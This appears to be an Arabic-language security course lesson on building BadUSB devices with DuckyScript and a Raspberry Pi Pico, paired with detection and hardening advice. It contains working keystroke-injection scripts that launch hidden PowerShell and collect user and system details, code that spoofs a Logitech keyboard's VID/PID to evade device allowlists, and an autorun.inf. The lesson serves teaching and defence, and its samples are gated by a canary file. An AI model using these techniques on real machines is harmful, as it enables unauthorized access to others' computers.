USB Attack Lab — اعمل BadUSB بإيدك
DuckyScript و Pi Pico — والدفاع اللي بيقفل عليه
- المستوى
- خبير
- المدة
- 90m
- الترتيب
- الدرس 55 من 85
نطاق الدرس — الورشة، مش الجريمة
الدرس اللي فات (usb-network-implants) شرح ايه ده ولـ ايه. الدرس ده هيرد على سؤال إزاي نبنيها بإيدينا في lab معتمد، وإزاي نكتشفها كـ defenders. كل الأكواد اللي هنشوفها تعليمية بحتة: بتفتح Notepad، بتكتب marker في ملف، بتطبع رسالة. مفيش C2، مفيش data exfil. بنتعلم نفكّ القفل، مش نسرق.
إعداد مختبر آمن قبل أي شيء
VirtualBox أو VMware Workstation. Windows 10/11 trial أو Linux. شبكة Host-Only أو Internal — لا NAT ولا Bridge. snapshot قبل كل تجربة.
VirtualBox: Devices → USB → اختر الجهاز. هذا يضمن أن BadUSB لا يلمس المضيف الحقيقي. لو كنت على Mac/Linux مضيف، الأفضل استخدام آلة فيزيائية "قربان" قديمة.
- Hak5 Payload Studio (مجاني، ويب) — لكتابة DuckyScript.
- Raspberry Pi Pico ($4) — أرخص بديل عن Rubber Ducky ($60).
- CircuitPython + مكتبة adafruit_hid — ما يحوّل Pico لـ HID.
- محرر نصوص + Wireshark + USBPcap (لتحليل ما يحدث على ناقل USB).
علشان نتجنب الكارثة، خلي كل سكربت يدوّر على ملف C:\\LAB_OK.txt الأول، ولو ملقاهوش يخرج فوراً من غير ما يعمل حاجة. لو الـ USB وقع منك على الأرض ولقاه حد ووصّله بجهازه، مش هيحصل أي حاجة. ده اسمه "canary" — حياتك المهنية متعتمدش على إنك متفقدش حاجة.
مثال 1 — DuckyScript: "hello world" لـ BadUSB
أبسط سكربت ممكن في الدنيا. بيفتح Notepad ويكتب فيه. هدفنا الوحيد دلوقتي: نفهم بنية DuckyScript قبل ما نروح لأي حاجة معقدة. خد الحاجة على مهلك.
REM أبسط PoC تعليمي — يفتح Notepad ويكتب علامة
DELAY 1500 REM انتظر تعرّف النظام على "لوحة المفاتيح"
GUI r REM Win+R = فتح Run
DELAY 300
STRING notepad
ENTER
DELAY 800
STRING USB lab test - educational only - $(Get-Date)
ENTER
STRING This file proves the HID could type. No payload executed.اللي بنتعلمه من ده: ضربات المفاتيح (STRING)، المفاتيح الخاصة (GUI, ENTER)، وأهمية DELAY — لو شيلتها، السكربت هيكتب قبل ما Notepad يفتح، والإدخال هيضيع في الهوا. التوقيت هو نص اللعبة.
مثال 2 — DuckyScript بـ canary وحدود تنفيذ آمنة
REM PoC تعليمي مع canary — لن ينفذ ما لم يجد ملف اختبار
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (Test-Path C:\LAB_OK.txt) { Add-Content C:\LAB_OK.txt ('USB-PoC ran at ' + (Get-Date)) } else { exit }"
ENTERسطر واحد PowerShell بيتأكد إن العلامة موجودة. لو الـ USB دخل على جهاز مفهوش C:\\LAB_OK.txt، مش هيحصل ولا حاجة. ده نمط "safety net" لازم في أي معمل تدريب محترم.
مثال 3 — اكتشاف بيئة قبل الإقلاع
سكربت تعليمي بيكتب نوع الـ OS ولغة الكيبورد في ملف. ده نمط بيستخدمه المهاجمين فعلاً علشان يعدّلوا الحمولة بناءً على البيئة — بس إحنا هنا بنقف عند حد "اعرف بس"، مش أكتر.
REM PoC: enumerate environment, write to file, exit
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (-not (Test-Path C:\LAB_OK.txt)) { exit }; $info = @{ os = $PSVersionTable.OS; user = $env:USERNAME; lang = (Get-Culture).Name; time = (Get-Date) }; $info | Out-File C:\LAB_OK.txt -Append"
ENTERالقيمة الحمائية: لازم تفهم إن المهاجم محتاج من 5 لـ 15 ثانية علشان يجمع المعلومة الأولية دي. EDR بيصطاد "PowerShell hidden اشتغل بعد ثواني من USB plug" بيكسر السلسلة كلها قبل ما تبدأ أصلاً.
مثال 4 — Raspberry Pi Pico كـ BadUSB بـ $4
Pi Pico بـ CircuitPython + adafruit_hid يكافئ Rubber Ducky تجارياً. كامل الكود تعليمي ومفتوح:
- حمّل firmware CircuitPython من circuitpython.org اضغط زر BOOTSEL أثناء التوصيل، اسحب ملف .uf2 إلى الـ drive الذي يظهر.
- انسخ مكتبة adafruit_hid إلى مجلد /lib في الـ Pico.
- عدّل code.py أدناه.
# code.py — PoC تعليمي على Raspberry Pi Pico
# يفتح Notepad ويكتب علامة، ثم يتوقف نهائياً.
# لا يحوي اتصال شبكي ولا تنفيذ ثنائي.
import time
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
# تأخير الإقلاع — ينتظر تعرّف النظام على HID
time.sleep(2.5)
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)
# Win+R
kbd.send(Keycode.GUI, Keycode.R)
time.sleep(0.4)
# اكتب الأمر
layout.write("notepad\n")
time.sleep(1.0)
# اكتب رسالة تعليمية ثم توقف
layout.write("Pi Pico BadUSB lab test - educational PoC only.\n")
layout.write("No network, no exec, no payload.\n")
# قفل لمنع تكرار التنفيذ
while True:
time.sleep(60)مثال 5 — انتحال جهاز موثوق (VID/PID spoofing)
كل جهاز USB بيقدم نفسه بـ Vendor ID + Product ID. أنظمة الـ GPO أحياناً بتسمح بـ "Logitech keyboards" بس. الهجوم؟ عدّل الـ descriptors تقول إنك Logitech، وخلاص دخلت.
# في boot.py على Pico — قبل أي شيء آخر
import usb_hid
import supervisor
# أمثلة VID/PID — موجودة في قواعد بيانات USB-IF العامة
# 046d:c31c = Logitech generic keyboard
supervisor.set_usb_identification(
manufacturer="Logitech",
product="USB Keyboard",
vid=0x046D,
pid=0xC31C,
)مثال 6 — autorun الكلاسيكي (لِمَ ما زال يهم)
متعطّل افتراضياً من أيام Windows 7 SP1، بس: (أ) أنظمة OT/ICS كتير لسه شغالة على XP أو 7 RTM لحد دلوقتي، (ب) في GPOs بتعيد تشغيله علشان "الراحة". الكلاسيك مش بيموت.
; autorun.inf تعليمي — على XP/7 RTM يفتح ملف عند الإدخال
[autorun]
open=demo.exe
icon=demo.ico
label=Lab USB
action=Open lab demoمثال 7 — رؤية ما يحدث على الناقل (USBPcap)
قبل ما تدافع، شوف. Wireshark + USBPcap على Windows أو usbmon على Linux بيوريك كل packet من الـ HID. اللي مش بتشوفه، مش هتقدر تمسكه.
الرؤية دي بتكشف حقيقة بسيطة: الـ Pico/Ducky بيطلع عشرات الـ keystrokes في الثانية الواحدة. مفيش بني آدم بيكتب بالإيقاع ده. التوقيع التحليلي بسيط جداً والـ EDR بيمسكه من غير مجهود.
بناء الحماية طبقة طبقة
قائمة فحص للـ Red Team — قبل التشغيل في عملية مرخّصة
- تفويض مكتوب يغطي USB drops و BadUSB صريحاً (Rules of Engagement).
- تحديد المواقع المسموح إسقاط USB فيها — لا تتسلل إلى مناطق ليست في النطاق.
- كل USB يحوي canary — لن ينفذ خارج الـ environment المتفق عليه.
- تسجيل serial numbers لكل قطعة — حتى يُمكن استرجاعها بعد العملية.
- POC إخطار للمدير الأمني للهدف لو شيء انفلت من السيطرة.
- تقرير ما بعد العملية: ماذا التُقط، كم نقر المستخدمون، ما الكشف الذي عمل، ما الذي فشل.
الخلاصة الناشفة
الـ USB attacks تقنية بسيطة: HID class trust + speed + delay. الـ defense ضدها مش معقد، بس محتاج discipline:
- USBGuard / Device Installation Restrictions بـ VID + PID + Serial.
- EDR rule على keystroke rate > 300/sec أو HID جديد بعده PowerShell في 10 ثواني.
- egress baseline — لو محطة فتحت اتصال خارجي بعد USB insert، تحقيق فوري.
- physical lockdown في environments حساسة. PadJacks، epoxy، أو ببساطة موظف أمن.
مفيش حاجة من دول مكلّفة. كلها policy + config. اللي بيفصل الـ blue team الجاد عن غيره مش الـ tools — هو إنه عمل الـ config.
اكتبها على كشكولك:
الـ USB attack محلول من 2014. لو لسه بيتكسرلك — أنت مش بتتهاجم، أنت بتسيب الباب مفتوح. خلاص.
مراجع تطبيقية
- Hak5 DuckyScript 3.0 reference — اللغة الكاملة
- Adafruit CircuitPython HID guide — لـ Pi Pico
- Microsoft Device Installation Restrictions docs
- USBGuard project (github.com/USBGuard)
- Sigma rules repo: rules/windows/sysmon — usb_ patterns
- SANS FOR509 / FOR526 للـ memory/USB forensics
علّمه علشان تفضل عارف انت فين على السكة.